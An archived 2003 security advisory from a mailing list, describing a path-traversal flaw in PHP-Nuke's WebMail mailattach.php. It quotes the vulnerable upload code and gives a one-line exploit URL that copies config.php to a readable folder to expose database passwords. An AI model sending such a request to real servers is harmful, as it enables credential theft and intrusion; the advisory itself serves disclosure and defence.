[UNIX] PHP-Nuke WebMail Command Execution Vulnerability (Mailattach)

From: SecuriTeam (support_at_securiteam.com)
Date: 10/09/03

  • Next message: SecuriTeam: "[NT] Gamespy 3D Code Execution Vulnerability (Long IRC Answer)"
    To: list@securiteam.com
    Date: 9 Oct 2003 16:05:47 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      PHP-Nuke WebMail Command Execution Vulnerability (Mailattach)
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.phpnuke.org> PHP-Nuke is an open-source program for creating
    and managing news-based Web sites created by Francisco Burzi. PHP-Nuke
    could allow a remote attacker to include malicious PHP files, caused by a
    vulnerability in the WebMail module and all other modules with the ability
    to upload files.

    DETAILS

    Vulnerable systems:
     * PHP-Nuke version 6.0
     * PHP-Nuke version6.5

    A remote attacker can send a specially crafted URL request to the
    mailattach.php script that specifies a malicious PHP file from a remote
    system as a parameter, which would allow the attacker to execute code on
    the vulnerable Web server, and possibly obtain a user's database password.

    Vulnerable code:
    From mailattach.php file:
    if (isset($userfile) AND $userfile != "none") {
        if (ini_get(file_uploads) AND $attachments == 1) {
      $updir = "tmp";
      @copy($userfile, "$updir/$userfile_name");

    Exploit:
    http://target.server/modules/WebMail/mailattach.php?userfile=../../config.php&userfile_name=../attachments/file.txt&attachments=1

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:leseulfrog@hotmail.com> Frog
    Man.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[NT] Gamespy 3D Code Execution Vulnerability (Long IRC Answer)"

    Relevant Pages

    • [NEWS] SonicWALL Content-Filtering Universal Script Injection Vulnerability
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... SonicWALL Content-Filtering Universal Script Injection Vulnerability ... SonicWALL Pro 2040 version 4.0.1 ...
      (Securiteam)
    • [UNIX] BlackBoard Path Disclosure and File Inclusion Vulnerabilities
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Two vulnerabilities have been discovered in BlackBoard, a path disclosure ... vulnerability and a file inclusion vulnerability. ...
      (Securiteam)
    • [NT] Netegrity SiteMinder smpwservicescgi.exe Target Redirection
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Due to improper filtering of user provided data, a remote attacker can ... This allows an attacker to redirect the user to whatever site ...
      (Securiteam)
    • [NT] WebArchiveX Unsafe Methods Vulnerability
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... String userAgent, ... scripting' entry, but unfortunately has not changed the version number. ...
      (Securiteam)
    • [NEWS] IBM Net.Data Macro Name Cross-Site Scripting Vulnerability
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... The vulnerability is caused due to an input validation error in the db2www ... The vendor recommends that the "DTW_DEFAULT_ERROR_MESSAGE" feature (or ...
      (Securiteam)